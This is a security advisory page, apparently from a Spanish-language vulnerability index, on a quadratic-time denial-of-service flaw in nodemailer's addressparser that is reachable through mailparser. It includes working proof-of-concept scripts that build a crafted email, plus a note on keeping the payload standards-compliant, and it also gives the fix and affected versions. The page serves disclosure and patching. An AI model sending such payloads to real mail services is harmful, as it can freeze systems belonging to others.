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Advisory · GitHub · npm · nodemailer

GHSA-PRGH-XP8R-P3M5

Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -19 d de la divulgación
Exposición50 dDesde la divulgación, 30 sept 2026, 9:41 a. m.
Detección47 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 10.0.5
Monitoreo
Detectada
11 sept 26
30 sept 26
5 oct 26
17 nov 26
19 nov 26
11 sept 26
28 sept 26
16 oct 26
2 nov 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 10.0.5 nodemailer · -19 d desde divulgación
Divulgación Publicada GHSA-PRGH-XP8R-P3M5 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`nodemailer/lib/addressparser` parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like `a@b(c)@b(c)@b(c)...`, every atom re-joins that same growing string.

The join check in `src/addressparser/index.ts`:

const joins =
    prevToken &&
    prevToken.noBreak &&
    parts.length &&
    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. `parts[parts.length - 1].slice(-1)` runs before the cheap `token.value.charAt(0)`. `slice(-1)` has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since `||` is left to right, the cheap `charAt(0)` that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → `slice(-1)` re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (`npm i nodemailer@10.0.3`):

const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser('a' + '@b(c)'.repeat(130000));
console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (`npm i mailparser@3.9.24`):

const { simpleParser } = require('mailparser');
(async () => {
  const to = 'a' + '@b(c)'.repeat(130000);
  const eml = `From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n`;
  const s = Date.now();
  await simpleParser(eml);
  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking
})();

Timings measured on 10.0.3:

| Address value | Parse time |
| --- | --- |
| 390 KB | 1.3 s |
| 585 KB | 5.6 s |
| 640 KB | 6.7 s |
| 976 KB | 18 s |

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every `)`+`@` junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs `addressparser` on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound `To`/`From`/`Cc` with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
nodemailer≥ 9.1.0 < 10.0.5
9.1.0
10.0.5
10.6.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmnodemailer
Corregida 10.0.5 -19 d 10.6.0 no afectada
Versiones corregidas10.0.5
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-90776
Otrahttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5
Otrahttps://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89
Otrahttps://github.com/nodemailer/nodemailer
Otrahttps://github.com/nodemailer/nodemailer/releases/tag/v10.0.5
Otrahttps://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing

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